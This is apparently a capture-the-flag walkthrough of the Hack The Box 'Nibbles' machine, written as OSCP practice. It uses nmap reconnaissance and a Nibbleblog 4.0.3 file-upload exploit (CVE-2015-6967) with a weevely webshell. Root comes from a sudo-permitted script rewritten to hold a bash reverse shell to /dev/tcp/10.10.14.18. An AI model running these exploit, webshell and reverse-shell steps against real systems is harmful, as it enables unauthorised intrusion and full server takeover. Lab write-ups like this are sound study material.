
First, perform an Nmap scan and initially collect information
- Port 80 is open
- Port 22 is open, the version is OpenSSH 7.2p2
nmap -T4 -sV -Pn 10.10.10.75
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-01 14:08 CST Nmap scan report for bogon (10.10.10.75) Host is up (0.31s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds
Next, add the hosts configuration
echo '10.10.10.75 nibbles.htb' >> /etc/hosts
Visit http://nibbles.htb/ and find that the page only shows Hello World!
Right-click to view the source code, and find that the website may have a /nibbleblog/ directory in the comment information
After accessing the directory, it successfully jumps to the blog page. According to the information in the lower right corner Powered by Nibbleblog, it is judged that the system uses Nibbleblog's CMS
next we go first Exploit DB Search for vulnerabilities related to Nibbleblog, and found that there are two historical vulnerabilities in the blog system:
- SQL injection
- File Upload
According to the EXP information provided on the website, we first try to test the SQL injection vulnerability and found that the system does not have this vulnerability
http://nibbles.htb/nibbleblog/index.php?page=1 SQLMAP failed to inject successfully http://nibbles.htb/nibbleblog/post.php?idpost=1 page prompt 404
Next, search Google for information about the file upload vulnerability, and learn that the CVE corresponding to this vulnerability is CVE-2015-6967
Since the author is going to prepare for the OSCP exam, and only one MSF is allowed to be used in the exam to exploit vulnerabilities, so try not to use MSF during the shooting process
Try to use the following script to attack the target machine
https://github.com/dix0nym/CVE-2015-6967
Using this script will directly and automatically upload the local shell file to the target server, so we need to prepare a webshell file. Since the system used by the author is Kali Linux, here I use weevely to generate the webshell
weevely generate gh0stx shell.php
Weevely is a Python-based Web Shell client that can execute commands on remote servers and control them without direct access to target web pages.
The function of the above command is to generate the Web Shell source code file of shell.php with gh0stx as the password
Then use the following command to exploit the vulnerability. After the script is executed, it prompts that the file upload is successful. Next, we need to visit the following link to check whether the upload is successful.
python3 exploit.py --url http://nibbles.htb/nibbleblog/ --username admin --password nibbles --payload shell.php
Visited the root directory and the nibbleblog directory respectively but did not visit
http://nibbles.htb/nibbleblog/shell.php http://nibbles.htb/shell.php
After further searching for information about the vulnerability in Google, after carefully reading the description of the vulnerability, the following information is obtained:
When uploading an image file through the My Pictures plugin, NibbleBlog 4.0.3 The original extension of the uploaded file is preserved. There is no check for this extension or the actual file type, so it may be uploaded PHP file and get code execution.
The default path for uploaded images is:
/nibbleblog/content/private/plugins/my_image/image.php
Reference article: https://packetstormsecurity.com/files/133425/NibbleBlog-4.0.3-Shell-Upload.html
Next, try to access the following path and find that it can be accessed normally without prompting 404 and other information
http://nibbles.htb/nibbleblog/content/private/plugins/my_image/image.php
Use the following command to connect to weevely's webshell, and execute: system_info to view system-related information
weevely http://nibbles.htb/nibbleblog/content/private/plugins/my_image/image.php gh0stx
At present, we have obtained the permissions of the nibbler user, and we still need to obtain user.txt first.
find / -name "user.txt" cat /home/nibbler/user.txt
Next, enter the privilege escalation stage
Execute sudo -l according to the description information: the user nibbler can execute the /home/nibbler/personal/stuff/monitor.sh script as the root user on the host Nibbles without entering a password.
sudo -l
Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Trying to read the content of monitor.sh found that an error was reported. The reason for the error is: the current sudo command cannot run without a tty, and the askpass program is not specified.
sudo cat /home/nibbler/personal/stuff/monitor.sh
Next, visit this directory level by level and find that there is no personal folder in the /home/nibbler directory, but personal.zip exists in this directory
cd /home/nibbler
Execute the following command to download personal.zip to the local, check the content of monitor.sh after decompression, and find that the script is a linux server health monitoring script
:file_download /home/nibbler/personal.zip /root/personal.zip
So how should the rights be raised next?
Idea: directly create monitor.sh that contains a rebound shell, and then use sudo to run the script, you should be able to directly obtain a shell with root privileges
1. Turn on monitoring
nc -nvlp 65001
2. Create and execute a script that bounces the shell, but failed to bounce back after many attempts. The reason for the error seems to be related to the format, but after checking the code format, there is no problem. Let’s put it aside for now
mkdir -p /home/nibbler/personal/stuff/ touch /home/nibbler/personal/stuff/monitor.sh # Note that it is written here sh file, must write#!/bin/bash, otherwise the execution will fail printf "#!/bin/bash\n/bin/bash -i >& /dev/tcp/10.10.14.18/65001 0>&1\n" > /home/nibbler/personal/stuff/monitor.sh chmod +x /home/nibbler/personal/stuff/monitor.sh sudo /home/nibbler/personal/stuff/monitor.sh
Both printf and echo can use the redirection symbols > and >> to write the output content to the file. When writing the rebound shell code to the monitor.sh file, it involves \n line break, which is written by echo -e, but echo The command does not interpret escape characters correctly, so printf is used here to write
Finally get the flag of the root user
cat /root/root.txt